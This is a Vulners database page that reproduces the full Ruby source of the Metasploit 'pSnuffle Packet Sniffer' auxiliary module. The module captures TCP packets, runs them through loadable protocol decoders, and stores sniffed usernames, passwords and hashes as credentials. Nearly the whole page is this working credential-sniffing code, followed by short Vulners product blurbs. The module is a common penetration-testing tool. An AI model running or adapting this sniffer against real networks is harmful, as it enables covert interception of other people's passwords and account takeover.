Lucene search
K

pSnuffle Packet Sniffer

🗓️ 14 Sep 2009 18:46:41Reported by Max Moser <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 22 Views

Psnuffle Packet Sniffer for Metasploit capturing and parsing network packets to sniff passwords and protocols

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

##
# dsniff was helping me very often. Too bad that it doesn't work correctly
# anymore. Psnuffle should bring password sniffing into Metasploit local
# and if we get lucky even remote.
#
# Cheers - Max Moser - [email protected]
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Capture

  def initialize
    super(
      'Name'        => 'pSnuffle Packet Sniffer',
      'Description' => 'This module sniffs passwords like dsniff did in the past',
      'Author'	    => 'Max Moser <mmo[at]remote-exploit.org>',
      'License'	    => MSF_LICENSE,
      'Actions'	    =>
        [
          [ 'Sniffer', 'Description' => 'Run sniffer' ],
          [ 'List', 'Description' => 'List protocols' ]
        ],
      'PassiveActions' => [ 'Sniffer' ],
      'DefaultAction'  => 'Sniffer'
    )
    register_options [
      OptString.new('PROTOCOLS', [true, 'A comma-delimited list of protocols to sniff or "all".', 'all']),
    ]

    register_advanced_options [
      OptPath.new('ProtocolBase', [true, 'The base directory containing the protocol decoders',
        File.join(Msf::Config.data_directory, 'exploits', 'psnuffle')
      ]),
    ]
    deregister_options('RHOSTS')
  end


  def load_protocols
    base = datastore['ProtocolBase']
    unless File.directory? base
      raise RuntimeError, 'The ProtocolBase parameter is set to an invalid directory'
    end

    allowed = datastore['PROTOCOLS'].split(',').map{|x| x.strip.downcase}
    @protos = {}
    decoders = Dir.new(base).entries.grep(/\.rb$/).sort
    decoders.each do |n|
      f = File.join(base, n)
      m = ::Module.new
      begin
        m.module_eval(File.read(f, File.size(f)))
        m.constants.grep(/^Sniffer(.*)/) do
          proto = $1
          next unless allowed.include?(proto.downcase) || datastore['PROTOCOLS'] == 'all'

          klass = m.const_get("Sniffer#{proto}")
          @protos[proto.downcase] = klass.new(framework, self)

          print_status("Loaded protocol #{proto} from #{f}...")
        end
      rescue => e
        print_error("Decoder #{n} failed to load: #{e.class} #{e} #{e.backtrace}")
      end
    end
  end

  def run
    check_pcaprub_loaded # Check first
    # Load all of our existing protocols
    load_protocols

    if action.name == 'List'
      print_status("Protocols: #{@protos.keys.sort.join(', ')}")
      return
    end

    print_status 'Sniffing traffic.....'
    open_pcap

    each_packet do |pkt|
      p = PacketFu::Packet.parse(pkt)
      next unless p.is_tcp?
      next if p.payload.empty?
      @protos.each_key do |k|
        @protos[k].parse(p)
      end
      true
    end
    close_pcap
    print_status 'Finished sniffing'
  end
end

# End module class

# Basic class for taking care of sessions
class BaseProtocolParser

  attr_accessor :framework, :module, :sessions, :dport, :sigs

  def initialize(framework, mod)
    self.framework = framework
    self.module    = mod
    self.sessions  = {}
    self.dport     = 0
    register_sigs
  end

  def parse(pkt)
    nil
  end

  def register_sigs
    self.sigs = {}
  end

  #
  # Glue methods to bridge parsers to the main module class
  #
  def print_status(msg)
    self.module.print_status(msg)
  end

  def print_error(msg)
    self.module.print_error(msg)
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: self.module.myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: self.module.fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: opts[:type]
    }.merge(service_data)

    if opts[:type] == :nonreplayable_hash
      credential_data.merge!(jtr_format: opts[:jtr_format])
    end

    login_data = {
      core: self.module.create_credential(credential_data),
      status: opts[:status],
      proof: opts[:proof]
    }.merge(service_data)

    unless opts[:status] == Metasploit::Model::Login::Status::UNTRIED
      login_data.merge!(last_attempted_at: DateTime.now)
    end

    self.module.create_credential_login(login_data)
  end

  def report_note(*s)
    self.module.report_note(*s)
  end

  def report_service(*s)
    self.module.report_service(*s)
  end

  def find_session(sessionid)
    purge_keys = []
    sessions.each_key do |ses|
      # Check for cleanup abilities... kills performance in large environments maybe
      # When longer than 5 minutes no packet was related to the session, delete it
      if ((sessions[ses][:mtime] - sessions[ses][:ctime]) > 300)
        # too bad to this session has no action for a long time
        purge_keys << ses
      end
    end
    purge_keys.each {|ses| sessions.delete(ses) }

    # Does this session already exist?
    if (sessions[sessionid])
      # Refresh the timestamp
      sessions[sessionid][:mtime] = Time.now
    else
      # Create a new session entry along with the host/port from the id
      if (sessionid =~ /^([^:]+):([^-]+)-([^:]+):(\d+)$/s)
        sessions[sessionid] = {
          :client_host => $1,
          :client_port => $2,
          :host        => $3,
          :port        => $4,
          :session     => sessionid,
          :ctime       => Time.now,
          :mtime       => Time.now
        }
      end
    end

    sessions[sessionid]
  end

  def get_session_src(pkt)
    return "%s:%d-%s:%d" % [pkt.ip_daddr,pkt.tcp_dport,pkt.ip_saddr,pkt.tcp_sport] if pkt.is_tcp?
    return "%s:%d-%s:%d" % [pkt.ip_daddr,pkt.udp_dport,pkt.ip_saddr,pkt.udp_sport] if pkt.is_udp?
    return "%s:%d-%s:%d" % [pkt.ip_daddr,0,pkt.ip_saddr,0]
  end

  def get_session_dst(pkt)
    return "%s:%d-%s:%d" % [pkt.ip_saddr,pkt.tcp_sport,pkt.ip_daddr,pkt.tcp_dport] if pkt.is_tcp?
    return "%s:%d-%s:%d" % [pkt.ip_saddr,pkt.udp_sport,pkt.ip_daddr,pkt.udp_dport] if pkt.is_udp?
    return "%s:%d-%s:%d" % [pkt.ip_saddr,0,pkt.ip_daddr,0]
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation